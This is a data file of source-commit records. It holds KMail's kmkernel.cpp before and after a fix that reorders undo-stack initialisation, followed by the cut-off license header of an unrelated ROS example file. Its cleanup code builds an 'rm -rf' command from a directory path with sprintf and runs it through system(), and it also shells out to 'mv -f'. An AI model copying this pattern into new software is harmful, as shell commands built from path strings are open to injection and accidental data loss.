{"text":"<commit_before>#include <dirent.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <qdir.h>\n#include <qstring.h>\n\n#include <kdebug.h>\n#include <kmessagebox.h>\n#include <klocale.h>\n#include <kapp.h>\n#include <kstddirs.h>\n\n#include <kmailIface.h>\n\n#include \"kmkernel.h\"\n#include \"kmmainwin.h\"\n#include \"kmcomposewin.h\"\n#include \"kmmessage.h\"\n#include \"kmfoldermgr.h\"\n#include \"kmfolder.h\"\n#include \"kmfiltermgr.h\"\n#include \"kmreaderwin.h\"\n#include \"kmsender.h\"\n#include \"kmundostack.h\"\n#include \"kmidentity.h\"\n#include \"kmacctmgr.h\"\n#include \"kbusyptr.h\"\n#include \"kmaddrbook.h\"\n\n#include <X11\/Xlib.h>\n\nKMKernel *KMKernel::mySelf = 0;\n\n\/********************************************************************\/\n\/*                     Constructor and destructor                   *\/\n\/********************************************************************\/\nKMKernel::KMKernel (QObject *parent, const char *name) :\n  QObject(parent, name),  DCOPObject(\"KMailIface\")\n{\n  \/\/debug (\"KMKernel::KMKernel\");\n  mySelf = this;\n}\n\nKMKernel::~KMKernel ()\n{\n  mySelf = 0;\n  debug (\"KMKernel::~KMKernel\");\n}\n\n\n\/********************************************************************\/\n\/*             DCOP-callable, and command line actions              *\/\n\/********************************************************************\/\nvoid KMKernel::checkMail () \/\/might create a new reader but wont show!!\n{\n  debug (\"KMKernel::checkMail called\");\n  KMMainWin *mWin = 0;\n\n  if (kapp->mainWidget() && kapp->mainWidget()->isA(\"KMMainWin\"))\n    mWin = (KMMainWin *) kapp->mainWidget();\n  else\n    mWin = new KMMainWin;\n  mWin->slotCheckMail();\n}\n\nvoid KMKernel::openReader( KURL \/*messageFile*\/)\n{\n#warning Ugly hack! (sven)\n  KMMainWin *mWin = 0;\n  KTMainWindow *ktmw = 0;\n  debug (\"KMKernel::openReader called\");\n\n  if (KTMainWindow::memberList)\n    for (ktmw = KTMainWindow::memberList->first(); ktmw;\n         ktmw = KTMainWindow::memberList->next())\n      if (ktmw->isA(\"KMMainWin\"))\n        break;\n\n  if (ktmw)\n    mWin = (KMMainWin *) ktmw;\n  else\n    mWin = new KMMainWin;\n  mWin->show();\n  \/\/and \"Activate\" by kwin?\n\n  \/\/if (!messageFile.isEmpty())\n  \/\/  mWin->viewMessage(messageFile);\n}\n\nint KMKernel::openComposer (QString to, QString cc,\n                            QString bcc, QString subject, int hidden)\n{\n  debug (\"KMKernel::openComposer called\");\n\n  KMMessage *msg = new KMMessage;\n  msg->initHeader();\n  if (!cc.isEmpty()) msg->setCc(cc);\n  if (!bcc.isEmpty()) msg->setBcc(bcc);\n  if (!subject.isEmpty()) msg->setSubject(subject);\n  if (!to.isEmpty()) msg->setTo(to);\n\n  KMComposeWin *cWin = new KMComposeWin(msg);\n  if (hidden == 0)\n    cWin->show();\n  \/\/return cWin->composerId()\n  return 1;\n}\n\nint KMKernel::setBody (int \/*composerId*\/, QString \/*body*\/)\n{\n  debug (\"KMKernel::setBody called\");\n  return 1;\n}\n\nint KMKernel::addAttachment(int \/*composerId*\/, KURL \/*url*\/,\n                            QString \/*comment*\/)\n{\n  debug (\"KMKernel::addAttachment called\");\n  return 1;\n}\n\nint KMKernel::send(int \/*composerId*\/, int \/*when*\/)\n{\n  debug (\"KMKernel::send called\");\n  return 1;\n}\n\nint KMKernel::ready()\n{\n  debug (\"KMKernel::ready called\");\n  return 1;\n}\n\n\/********************************************************************\/\n\/*                        Kernel methods                            *\/\n\/********************************************************************\/\n\nvoid KMKernel::quit()\n{\n  \/\/ Called when all windows are closed. Will take care of compacting,\n  \/\/ sending... should handle session management too!!\n  \n  if (msgSender() && msgSender()->sending()) \/\/ sender working?\n  {\n    kernel->msgSender()->quitWhenFinished(); \/\/ tell him to quit app when finished\n    return;                        \/\/ don't quit now\n  }\n  kapp->quit();                           \/\/ sender not working, quit\n}\n  \/* TODO later:\n   Asuming that:\n     - msgsender is nonblocking\n       (our own, QSocketNotifier based. Pops up errors and sends signal\n        senderFinished when done)\n     - compacting is non blocking (insert processEvents there)\n\n   o If we are getting mail, stop it (but dont lose something!)\n   o If we are sending mail, go on UNLESS this was called by SM,\n       in which case stop ASAP that too (can we warn? should we continue\n       on next start?)\n   o If we are compacting, or expunging, go on UNLESS this was SM call.\n       In that case stop compacting ASAP and continue on next start, before\n       touching any folders.\n\n   KMKernel::quit ()\n   {\n     SM call?\n       if compacting, stop;\n       if sending, stop;\n       if receiving, stop;\n       Windows will take care of themselves (composer should dump\n        its messages, if any but not in deadMail)\n       declare us ready for the End of the Session\n\n     No, normal quit call\n       All windows are off. Anything to do, should compact or sender sends?\n         Yes, maybe put an icon in panel as a sign of life\n         Folder manager, go compacting (*except* outbox and sent-mail!)\n         if sender sending, connect us to his finished slot, declare us ready\n                            for quit and wait for senderFinished\n         if not, Folder manager, go compact sent-mail and outbox\n}                (= call slotFinished())\n\nvoid KMKernel::slotSenderFinished()\n{\n  good, Folder manager go compact sent-mail and outbox\n  clean up stage1 (release folders and config, unregister from dcop)\n    -- another kmail may start now ---\n  kapp->quit();\n}\n\nvoid KMKernel::\nvoid KMKernel::\n*\/\n\n\n\/********************************************************************\/\n\/*            Init, Exit, and handler  methods                      *\/\n\/********************************************************************\/\nvoid KMKernel::testDir(const char *_name)\n{\n  DIR *dp;\n  QString c = getenv(\"HOME\");\n  if(c.isEmpty())\n  {\n      KMessageBox::sorry(0, i18n(\"$HOME is not set!\\n\"\n                                 \"KMail cannot start without it.\\n\"));\n      exit(-1);\n  }\n\t\t\n  c += _name;\n  dp = opendir(c.data());\n  if (dp == NULL) ::mkdir(c.data(), S_IRWXU);\n  else closedir(dp);\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Open a composer for each message found in ~\/dead.letter\n\/\/to control\nvoid KMKernel::recoverDeadLetters(void)\n{\n  KMComposeWin* win;\n  KMMessage* msg;\n  QDir dir = QDir::home();\n  QString fname = dir.path();\n  int i, rc, num;\n\n  if (!dir.exists(\"dead.letter\")) return;\n  fname += \"\/dead.letter\";\n  KMFolder folder(0, fname);\n\n  folder.setAutoCreateIndex(FALSE);\n  rc = folder.open();\n  if (rc)\n  {\n    perror(\"cannot open file \"+fname);\n    return;\n  }\n\n  folder.quiet(TRUE);\n  folder.open();\n\n  num = folder.count();\n  for (i=0; i<num; i++)\n  {\n    msg = folder.take(0);\n    if (msg)\n    {\n      win = new KMComposeWin;\n      win->setMsg(msg, FALSE);\n      win->show();\n    }\n  }\n  folder.close();\n  unlink(fname);\n}\n\nvoid KMKernel::initFolders(KConfig* cfg)\n{\n  QString name;\n\n  name = cfg->readEntry(\"inboxFolder\");\n\n  \/\/ Currently the folder manager cannot manage folders which are not\n  \/\/ in the base folder directory.\n  \/\/if (name.isEmpty()) name = getenv(\"MAIL\");\n\n  if (name.isEmpty()) name = \"inbox\";\n\n  the_inboxFolder  = (KMFolder*)the_folderMgr->findOrCreate(name);\n  \/\/ inboxFolder->open();\n\n  the_outboxFolder = the_folderMgr->findOrCreate(cfg->readEntry(\"outboxFolder\", \"outbox\"));\n  the_outboxFolder->setType(\"Out\");\n  the_outboxFolder->setWhoField(\"To\");\n  the_outboxFolder->setSystemFolder(TRUE);\n  the_outboxFolder->open();\n\n  the_sentFolder = the_folderMgr->findOrCreate(cfg->readEntry(\"sentFolder\", \"sent-mail\"));\n  the_sentFolder->setType(\"St\");\n  the_sentFolder->setWhoField(\"To\");\n  the_sentFolder->setSystemFolder(TRUE);\n  the_sentFolder->open();\n\n  the_trashFolder  = the_folderMgr->findOrCreate(cfg->readEntry(\"trashFolder\", \"trash\"));\n  the_trashFolder->setType(\"Tr\");\n  the_trashFolder->setSystemFolder(TRUE);\n  the_trashFolder->open();\n\n}\n\n\nvoid KMKernel::init()\n{\n  debug (\"entering KMKernel::init()\");\n  QCString  acctPath, foldersPath;\n  KConfig* cfg;\n\n  the_checkingMail = false;\n  the_shuttingDown = false;\n  the_server_is_ready = false;\n  \n  the_kbp = new KBusyPtr;\n  cfg = kapp->config();\n  \/\/debug (\"1\");\n  \/\/ Stefan: Yes, we really want this message handler. Without it,\n  \/\/ kmail does not show vital warning() dialogs.\n  \/\/qInstallMsgHandler(&kmailMsgHandler);\n\n  QDir dir;\n  QString d = locateLocal(\"data\", \"kmail\/\");\n\n  cfg->setGroup(\"General\");\n  the_firstStart = cfg->readBoolEntry(\"first-start\", true);\n  foldersPath = cfg->readEntry(\"folders\", \"\");\n  acctPath = cfg->readEntry(\"accounts\", foldersPath + \"\/.kmail-accounts\");\n\n  if (foldersPath.isEmpty())\n  {\n    foldersPath = QDir::homeDirPath() + QString(\"\/Mail\");\n    transferMail();\n  }\n\n  the_folderMgr = new KMFolderMgr(foldersPath);\n  the_undoStack = new KMUndoStack(20);\n  the_acctMgr   = new KMAcctMgr(acctPath);\n  the_filterMgr = new KMFilterMgr;\n  the_filterActionDict = new KMFilterActionDict;\n  the_addrBook  = new KMAddrBook;\n\n  initFolders(cfg);\n  the_acctMgr->readConfig();\n  the_filterMgr->readConfig();\n  the_addrBook->readConfig();\n  if(the_addrBook->load() == IO_FatalError)\n  {\n      KMessageBox::sorry(0, i18n(\"The addressbook could not be loaded.\"));\n  }\n  KMMessage::readConfig();\n  the_msgSender = new KMSender;\n\n  \n  the_server_is_ready = true;\n  \n  \/\/ filterMgr->dump(); \n  debug (\"exiting KMKernel::init()\");\n}\n\nbool KMKernel::doSessionManagement()\n{\n\n  \/\/ Do session management\n  if (kapp->isRestored()){\n    int n = 1;\n    while (KTMainWindow::canBeRestored(n)){\n      \/\/only restore main windows! (Matthias);\n      if (KTMainWindow::classNameOfToplevel(n) == \"KMMainWin\")\n        (new KMMainWin)->restore(n);\n      n++;\n    }\n    return true; \/\/ we were restored by SM\n  }\n  return false;  \/\/ no, we were not restored\n}\n\nvoid KMKernel::cleanup(void)\n{\n  the_shuttingDown = TRUE;\n  KConfig* config =  kapp->config();\n\n  if (the_trashFolder) {\n    the_trashFolder->close(TRUE);\n    config->setGroup(\"General\");\n    if (config->readNumEntry(\"empty-trash-on-exit\", 0))\n      the_trashFolder->expunge();\n  }\n\n  if (the_folderMgr) {\n    if (config->readNumEntry(\"compact-all-on-exit\", 0))\n      the_folderMgr->compactAll(); \/\/ I can compact for ages in peace now!\n  }\n\n  if (the_inboxFolder) the_inboxFolder->close(TRUE);\n  if (the_outboxFolder) the_outboxFolder->close(TRUE);\n  if (the_sentFolder) the_sentFolder->close(TRUE);\n\n  if (the_msgSender) delete the_msgSender;\n  if (the_addrBook) delete the_addrBook;\n  if (the_filterMgr) delete the_filterMgr;\n  if (the_acctMgr) delete the_acctMgr;\n  if (the_folderMgr) delete the_folderMgr;\n  if (the_kbp) delete the_kbp;\n\n  \/\/qInstallMsgHandler(oldMsgHandler);\n  kapp->config()->sync();\n  \/\/--- Sven's save attachments to \/tmp start ---\n  \/\/debug (\"cleaned\");\n  QString cmd;\n  \/\/ This is a dir with attachments and it is not critical if they are\n  \/\/ left behind.\n  if (!KMReaderWin::attachDir().isEmpty())\n  {\n    cmd.sprintf(\"rm -rf '%s'\", (const char*)KMReaderWin::attachDir());\n    system (cmd.data()); \/\/ delete your owns only\n  }\n  \/\/--- Sven's save attachments to \/tmp end ---\n}\n\n\/\/Isnt this obsolete? (sven)\nvoid KMKernel::transferMail(void)\n{\n  QDir dir = QDir::home();\n  int rc;\n\n  \/\/ Stefan: This function is for all the whiners who think that KMail is\n  \/\/ broken because they cannot read mail with pine and do not\n  \/\/ know how to fix this problem with a simple symbolic link  =;-)\n  \/\/ Markus: lol ;-)\n  if (!dir.cd(\"KMail\")) return;\n\n  rc = KMessageBox::questionYesNo(0, \n         i18n(\n\t    \"The directory ~\/KMail exists. From now on, KMail uses the\\n\"\n\t    \"directory ~\/Mail for its messages.\\n\"\n\t    \"KMail can move the contents of the directory ~\/KMail into\\n\"\n\t    \"~\/Mail, but this will replace existing files with the same\\n\"\n\t    \"name in the directory ~\/Mail (e.g. inbox).\\n\\n\"\n\t    \"Shall KMail move the mail folders now ?\"));\n\n  if (rc == KMessageBox::No) return;\n\n  dir.cd(\"\/\");  \/\/ otherwise we lock the directory\n  testDir(\"\/Mail\");\n  system(\"mv -f ~\/KMail\/* ~\/Mail\");\n  system(\"mv -f ~\/KMail\/.??* ~\/Mail\");\n  system(\"rmdir ~\/KMail\");\n}\n\n\nvoid KMKernel::ungrabPtrKb(void)\n{\n  if(!KTMainWindow::memberList) return;\n  QWidget* widg = KTMainWindow::memberList->first();\n  Display* dpy;\n\n  if (!widg) return;\n  dpy = widg->x11Display();\n  XUngrabKeyboard(dpy, CurrentTime);\n  XUngrabPointer(dpy, CurrentTime);\n}\n\n\n\/\/ Message handler\nvoid KMKernel::kmailMsgHandler(QtMsgType aType, const char* aMsg)\n{\n  QString appName = kapp->caption();\n  QString msg = aMsg;\n  static int recurse=-1;\n\n  recurse++;\n\n  switch (aType)\n  {\n  case QtDebugMsg:\n    kDebugInfo(0, msg);\n    break;\n\n  case QtWarningMsg:\n    fprintf(stderr, \"%s: %s\\n\", (const char*)kapp->name(), msg.data());\n    kDebugInfo(0, msg);\n    break;\n\n  case QtFatalMsg:\n    ungrabPtrKb();\n    fprintf(stderr, appName+\" \"+i18n(\"fatal error\")+\": %s\\n\", msg.data());\n    KMessageBox::error(0, aMsg);\n    abort();\n  }\n\n  recurse--;\n}\nvoid KMKernel::dumpDeadLetters()\n{\n  QWidget *win;\n  \n  while (KTMainWindow::memberList->first() != 0)\n  {\n    win = KTMainWindow::memberList->take();\n    if (win->inherits(\"KMComposeWin\")) ((KMComposeWin*)win)->deadLetter();\n    delete win;\n  }\n  cleanup();\n  ::exit (1);\n}\n\n\n\nvoid KMKernel::action(bool mailto, bool check, QString to, QString cc,\n                      QString bcc, QString subj, KURL messageFile)\n{\n  \n  if (mailto)\n    openComposer (to, cc, bcc, subj, 0);\n  else\n    openReader(messageFile);\n\n  if (check)\n    checkMail();\n  \/\/Anything else?\n}\n\n#include \"kmkernel.moc\"\n<commit_msg>Need to create the undostack before the account manager. Otherwise when someone used KMail for the first time it would create folders in ~\/Mail the when those folders were closed KMail would try to push the action onto the nonexistent undostack.<commit_after>#include <dirent.h>\n#include <sys\/stat.h>\n#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <qdir.h>\n#include <qstring.h>\n\n#include <kdebug.h>\n#include <kmessagebox.h>\n#include <klocale.h>\n#include <kapp.h>\n#include <kstddirs.h>\n\n#include <kmailIface.h>\n\n#include \"kmkernel.h\"\n#include \"kmmainwin.h\"\n#include \"kmcomposewin.h\"\n#include \"kmmessage.h\"\n#include \"kmfoldermgr.h\"\n#include \"kmfolder.h\"\n#include \"kmfiltermgr.h\"\n#include \"kmreaderwin.h\"\n#include \"kmsender.h\"\n#include \"kmundostack.h\"\n#include \"kmidentity.h\"\n#include \"kmacctmgr.h\"\n#include \"kbusyptr.h\"\n#include \"kmaddrbook.h\"\n\n#include <X11\/Xlib.h>\n\nKMKernel *KMKernel::mySelf = 0;\n\n\/********************************************************************\/\n\/*                     Constructor and destructor                   *\/\n\/********************************************************************\/\nKMKernel::KMKernel (QObject *parent, const char *name) :\n  QObject(parent, name),  DCOPObject(\"KMailIface\")\n{\n  \/\/debug (\"KMKernel::KMKernel\");\n  mySelf = this;\n}\n\nKMKernel::~KMKernel ()\n{\n  mySelf = 0;\n  debug (\"KMKernel::~KMKernel\");\n}\n\n\n\/********************************************************************\/\n\/*             DCOP-callable, and command line actions              *\/\n\/********************************************************************\/\nvoid KMKernel::checkMail () \/\/might create a new reader but wont show!!\n{\n  debug (\"KMKernel::checkMail called\");\n  KMMainWin *mWin = 0;\n\n  if (kapp->mainWidget() && kapp->mainWidget()->isA(\"KMMainWin\"))\n    mWin = (KMMainWin *) kapp->mainWidget();\n  else\n    mWin = new KMMainWin;\n  mWin->slotCheckMail();\n}\n\nvoid KMKernel::openReader( KURL \/*messageFile*\/)\n{\n#warning Ugly hack! (sven)\n  KMMainWin *mWin = 0;\n  KTMainWindow *ktmw = 0;\n  debug (\"KMKernel::openReader called\");\n\n  if (KTMainWindow::memberList)\n    for (ktmw = KTMainWindow::memberList->first(); ktmw;\n         ktmw = KTMainWindow::memberList->next())\n      if (ktmw->isA(\"KMMainWin\"))\n        break;\n\n  if (ktmw)\n    mWin = (KMMainWin *) ktmw;\n  else\n    mWin = new KMMainWin;\n  mWin->show();\n  \/\/and \"Activate\" by kwin?\n\n  \/\/if (!messageFile.isEmpty())\n  \/\/  mWin->viewMessage(messageFile);\n}\n\nint KMKernel::openComposer (QString to, QString cc,\n                            QString bcc, QString subject, int hidden)\n{\n  debug (\"KMKernel::openComposer called\");\n\n  KMMessage *msg = new KMMessage;\n  msg->initHeader();\n  if (!cc.isEmpty()) msg->setCc(cc);\n  if (!bcc.isEmpty()) msg->setBcc(bcc);\n  if (!subject.isEmpty()) msg->setSubject(subject);\n  if (!to.isEmpty()) msg->setTo(to);\n\n  KMComposeWin *cWin = new KMComposeWin(msg);\n  if (hidden == 0)\n    cWin->show();\n  \/\/return cWin->composerId()\n  return 1;\n}\n\nint KMKernel::setBody (int \/*composerId*\/, QString \/*body*\/)\n{\n  debug (\"KMKernel::setBody called\");\n  return 1;\n}\n\nint KMKernel::addAttachment(int \/*composerId*\/, KURL \/*url*\/,\n                            QString \/*comment*\/)\n{\n  debug (\"KMKernel::addAttachment called\");\n  return 1;\n}\n\nint KMKernel::send(int \/*composerId*\/, int \/*when*\/)\n{\n  debug (\"KMKernel::send called\");\n  return 1;\n}\n\nint KMKernel::ready()\n{\n  debug (\"KMKernel::ready called\");\n  return 1;\n}\n\n\/********************************************************************\/\n\/*                        Kernel methods                            *\/\n\/********************************************************************\/\n\nvoid KMKernel::quit()\n{\n  \/\/ Called when all windows are closed. Will take care of compacting,\n  \/\/ sending... should handle session management too!!\n  \n  if (msgSender() && msgSender()->sending()) \/\/ sender working?\n  {\n    kernel->msgSender()->quitWhenFinished(); \/\/ tell him to quit app when finished\n    return;                        \/\/ don't quit now\n  }\n  kapp->quit();                           \/\/ sender not working, quit\n}\n  \/* TODO later:\n   Asuming that:\n     - msgsender is nonblocking\n       (our own, QSocketNotifier based. Pops up errors and sends signal\n        senderFinished when done)\n     - compacting is non blocking (insert processEvents there)\n\n   o If we are getting mail, stop it (but dont lose something!)\n   o If we are sending mail, go on UNLESS this was called by SM,\n       in which case stop ASAP that too (can we warn? should we continue\n       on next start?)\n   o If we are compacting, or expunging, go on UNLESS this was SM call.\n       In that case stop compacting ASAP and continue on next start, before\n       touching any folders.\n\n   KMKernel::quit ()\n   {\n     SM call?\n       if compacting, stop;\n       if sending, stop;\n       if receiving, stop;\n       Windows will take care of themselves (composer should dump\n        its messages, if any but not in deadMail)\n       declare us ready for the End of the Session\n\n     No, normal quit call\n       All windows are off. Anything to do, should compact or sender sends?\n         Yes, maybe put an icon in panel as a sign of life\n         Folder manager, go compacting (*except* outbox and sent-mail!)\n         if sender sending, connect us to his finished slot, declare us ready\n                            for quit and wait for senderFinished\n         if not, Folder manager, go compact sent-mail and outbox\n}                (= call slotFinished())\n\nvoid KMKernel::slotSenderFinished()\n{\n  good, Folder manager go compact sent-mail and outbox\n  clean up stage1 (release folders and config, unregister from dcop)\n    -- another kmail may start now ---\n  kapp->quit();\n}\n\nvoid KMKernel::\nvoid KMKernel::\n*\/\n\n\n\/********************************************************************\/\n\/*            Init, Exit, and handler  methods                      *\/\n\/********************************************************************\/\nvoid KMKernel::testDir(const char *_name)\n{\n  DIR *dp;\n  QString c = getenv(\"HOME\");\n  if(c.isEmpty())\n  {\n      KMessageBox::sorry(0, i18n(\"$HOME is not set!\\n\"\n                                 \"KMail cannot start without it.\\n\"));\n      exit(-1);\n  }\n\t\t\n  c += _name;\n  dp = opendir(c.data());\n  if (dp == NULL) ::mkdir(c.data(), S_IRWXU);\n  else closedir(dp);\n}\n\n\n\/\/-----------------------------------------------------------------------------\n\/\/ Open a composer for each message found in ~\/dead.letter\n\/\/to control\nvoid KMKernel::recoverDeadLetters(void)\n{\n  KMComposeWin* win;\n  KMMessage* msg;\n  QDir dir = QDir::home();\n  QString fname = dir.path();\n  int i, rc, num;\n\n  if (!dir.exists(\"dead.letter\")) return;\n  fname += \"\/dead.letter\";\n  KMFolder folder(0, fname);\n\n  folder.setAutoCreateIndex(FALSE);\n  rc = folder.open();\n  if (rc)\n  {\n    perror(\"cannot open file \"+fname);\n    return;\n  }\n\n  folder.quiet(TRUE);\n  folder.open();\n\n  num = folder.count();\n  for (i=0; i<num; i++)\n  {\n    msg = folder.take(0);\n    if (msg)\n    {\n      win = new KMComposeWin;\n      win->setMsg(msg, FALSE);\n      win->show();\n    }\n  }\n  folder.close();\n  unlink(fname);\n}\n\nvoid KMKernel::initFolders(KConfig* cfg)\n{\n  QString name;\n\n  name = cfg->readEntry(\"inboxFolder\");\n\n  \/\/ Currently the folder manager cannot manage folders which are not\n  \/\/ in the base folder directory.\n  \/\/if (name.isEmpty()) name = getenv(\"MAIL\");\n\n  if (name.isEmpty()) name = \"inbox\";\n\n  the_inboxFolder  = (KMFolder*)the_folderMgr->findOrCreate(name);\n  \/\/ inboxFolder->open();\n\n  the_outboxFolder = the_folderMgr->findOrCreate(cfg->readEntry(\"outboxFolder\", \"outbox\"));\n  the_outboxFolder->setType(\"Out\");\n  the_outboxFolder->setWhoField(\"To\");\n  the_outboxFolder->setSystemFolder(TRUE);\n  the_outboxFolder->open();\n\n  the_sentFolder = the_folderMgr->findOrCreate(cfg->readEntry(\"sentFolder\", \"sent-mail\"));\n  the_sentFolder->setType(\"St\");\n  the_sentFolder->setWhoField(\"To\");\n  the_sentFolder->setSystemFolder(TRUE);\n  the_sentFolder->open();\n\n  the_trashFolder  = the_folderMgr->findOrCreate(cfg->readEntry(\"trashFolder\", \"trash\"));\n  the_trashFolder->setType(\"Tr\");\n  the_trashFolder->setSystemFolder(TRUE);\n  the_trashFolder->open();\n\n}\n\n\nvoid KMKernel::init()\n{\n  debug (\"entering KMKernel::init()\");\n  QCString  acctPath, foldersPath;\n  KConfig* cfg;\n\n  the_checkingMail = false;\n  the_shuttingDown = false;\n  the_server_is_ready = false;\n  \n  the_kbp = new KBusyPtr;\n  cfg = kapp->config();\n  \/\/debug (\"1\");\n  \/\/ Stefan: Yes, we really want this message handler. Without it,\n  \/\/ kmail does not show vital warning() dialogs.\n  \/\/qInstallMsgHandler(&kmailMsgHandler);\n\n  QDir dir;\n  QString d = locateLocal(\"data\", \"kmail\/\");\n\n  cfg->setGroup(\"General\");\n  the_firstStart = cfg->readBoolEntry(\"first-start\", true);\n  foldersPath = cfg->readEntry(\"folders\", \"\");\n  acctPath = cfg->readEntry(\"accounts\", foldersPath + \"\/.kmail-accounts\");\n\n  if (foldersPath.isEmpty())\n  {\n    foldersPath = QDir::homeDirPath() + QString(\"\/Mail\");\n    transferMail();\n  }\n\n  the_undoStack = new KMUndoStack(20);\n  the_folderMgr = new KMFolderMgr(foldersPath);\n  the_acctMgr   = new KMAcctMgr(acctPath);\n  the_filterMgr = new KMFilterMgr;\n  the_filterActionDict = new KMFilterActionDict;\n  the_addrBook  = new KMAddrBook;\n\n  initFolders(cfg);\n  the_acctMgr->readConfig();\n  the_filterMgr->readConfig();\n  the_addrBook->readConfig();\n  if(the_addrBook->load() == IO_FatalError)\n  {\n      KMessageBox::sorry(0, i18n(\"The addressbook could not be loaded.\"));\n  }\n  KMMessage::readConfig();\n  the_msgSender = new KMSender;\n\n  \n  the_server_is_ready = true;\n  \n  \/\/ filterMgr->dump(); \n  debug (\"exiting KMKernel::init()\");\n}\n\nbool KMKernel::doSessionManagement()\n{\n\n  \/\/ Do session management\n  if (kapp->isRestored()){\n    int n = 1;\n    while (KTMainWindow::canBeRestored(n)){\n      \/\/only restore main windows! (Matthias);\n      if (KTMainWindow::classNameOfToplevel(n) == \"KMMainWin\")\n        (new KMMainWin)->restore(n);\n      n++;\n    }\n    return true; \/\/ we were restored by SM\n  }\n  return false;  \/\/ no, we were not restored\n}\n\nvoid KMKernel::cleanup(void)\n{\n  the_shuttingDown = TRUE;\n  KConfig* config =  kapp->config();\n\n  if (the_trashFolder) {\n    the_trashFolder->close(TRUE);\n    config->setGroup(\"General\");\n    if (config->readNumEntry(\"empty-trash-on-exit\", 0))\n      the_trashFolder->expunge();\n  }\n\n  if (the_folderMgr) {\n    if (config->readNumEntry(\"compact-all-on-exit\", 0))\n      the_folderMgr->compactAll(); \/\/ I can compact for ages in peace now!\n  }\n\n  if (the_inboxFolder) the_inboxFolder->close(TRUE);\n  if (the_outboxFolder) the_outboxFolder->close(TRUE);\n  if (the_sentFolder) the_sentFolder->close(TRUE);\n\n  if (the_msgSender) delete the_msgSender;\n  if (the_addrBook) delete the_addrBook;\n  if (the_filterMgr) delete the_filterMgr;\n  if (the_acctMgr) delete the_acctMgr;\n  if (the_folderMgr) delete the_folderMgr;\n  if (the_kbp) delete the_kbp;\n\n  \/\/qInstallMsgHandler(oldMsgHandler);\n  kapp->config()->sync();\n  \/\/--- Sven's save attachments to \/tmp start ---\n  \/\/debug (\"cleaned\");\n  QString cmd;\n  \/\/ This is a dir with attachments and it is not critical if they are\n  \/\/ left behind.\n  if (!KMReaderWin::attachDir().isEmpty())\n  {\n    cmd.sprintf(\"rm -rf '%s'\", (const char*)KMReaderWin::attachDir());\n    system (cmd.data()); \/\/ delete your owns only\n  }\n  \/\/--- Sven's save attachments to \/tmp end ---\n}\n\n\/\/Isnt this obsolete? (sven)\nvoid KMKernel::transferMail(void)\n{\n  QDir dir = QDir::home();\n  int rc;\n\n  \/\/ Stefan: This function is for all the whiners who think that KMail is\n  \/\/ broken because they cannot read mail with pine and do not\n  \/\/ know how to fix this problem with a simple symbolic link  =;-)\n  \/\/ Markus: lol ;-)\n  if (!dir.cd(\"KMail\")) return;\n\n  rc = KMessageBox::questionYesNo(0, \n         i18n(\n\t    \"The directory ~\/KMail exists. From now on, KMail uses the\\n\"\n\t    \"directory ~\/Mail for its messages.\\n\"\n\t    \"KMail can move the contents of the directory ~\/KMail into\\n\"\n\t    \"~\/Mail, but this will replace existing files with the same\\n\"\n\t    \"name in the directory ~\/Mail (e.g. inbox).\\n\\n\"\n\t    \"Shall KMail move the mail folders now ?\"));\n\n  if (rc == KMessageBox::No) return;\n\n  dir.cd(\"\/\");  \/\/ otherwise we lock the directory\n  testDir(\"\/Mail\");\n  system(\"mv -f ~\/KMail\/* ~\/Mail\");\n  system(\"mv -f ~\/KMail\/.??* ~\/Mail\");\n  system(\"rmdir ~\/KMail\");\n}\n\n\nvoid KMKernel::ungrabPtrKb(void)\n{\n  if(!KTMainWindow::memberList) return;\n  QWidget* widg = KTMainWindow::memberList->first();\n  Display* dpy;\n\n  if (!widg) return;\n  dpy = widg->x11Display();\n  XUngrabKeyboard(dpy, CurrentTime);\n  XUngrabPointer(dpy, CurrentTime);\n}\n\n\n\/\/ Message handler\nvoid KMKernel::kmailMsgHandler(QtMsgType aType, const char* aMsg)\n{\n  QString appName = kapp->caption();\n  QString msg = aMsg;\n  static int recurse=-1;\n\n  recurse++;\n\n  switch (aType)\n  {\n  case QtDebugMsg:\n    kDebugInfo(0, msg);\n    break;\n\n  case QtWarningMsg:\n    fprintf(stderr, \"%s: %s\\n\", (const char*)kapp->name(), msg.data());\n    kDebugInfo(0, msg);\n    break;\n\n  case QtFatalMsg:\n    ungrabPtrKb();\n    fprintf(stderr, appName+\" \"+i18n(\"fatal error\")+\": %s\\n\", msg.data());\n    KMessageBox::error(0, aMsg);\n    abort();\n  }\n\n  recurse--;\n}\nvoid KMKernel::dumpDeadLetters()\n{\n  QWidget *win;\n  \n  while (KTMainWindow::memberList->first() != 0)\n  {\n    win = KTMainWindow::memberList->take();\n    if (win->inherits(\"KMComposeWin\")) ((KMComposeWin*)win)->deadLetter();\n    delete win;\n  }\n  cleanup();\n  ::exit (1);\n}\n\n\n\nvoid KMKernel::action(bool mailto, bool check, QString to, QString cc,\n                      QString bcc, QString subj, KURL messageFile)\n{\n  \n  if (mailto)\n    openComposer (to, cc, bcc, subj, 0);\n  else\n    openReader(messageFile);\n\n  if (check)\n    checkMail();\n  \/\/Anything else?\n}\n\n#include \"kmkernel.moc\"\n<|endoftext|>"}
{"text":"<commit_before>\/*\n *  dumbo_moveit_example.cpp\n *\n *  Created on: Nov 19, 2013\n *  Authors:   Francisco Viña\n *            fevb <at> kth.se\n *\/\n\n\/* Copyright (c) 2013, Francisco Viña, CVAP, KTH\n   All rights reserved.\n\n   Redistribution and use in source and binary forms, with or without\n   modification, are permitted provided that the following conditions are met:\n      * Redistributions of source code must retain the above copyright\n        notice, this list of conditions and the following disclaimer.\n      * Redistributions in binary form must reproduce the above copyright\n        notice, this list of conditions and the following disclaimer in the\n        documentation and\/or other materials provided with the distribution.\n      * Neither the name of KTH nor the\n        names of its contributors may be used to endorse or promote products\n        derived from this software without specific prior written permission.\n\n   THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n   ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n   WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n   DISCLAIMED. IN NO EVENT SHALL KTH BE LIABLE FOR ANY\n   DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n   LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 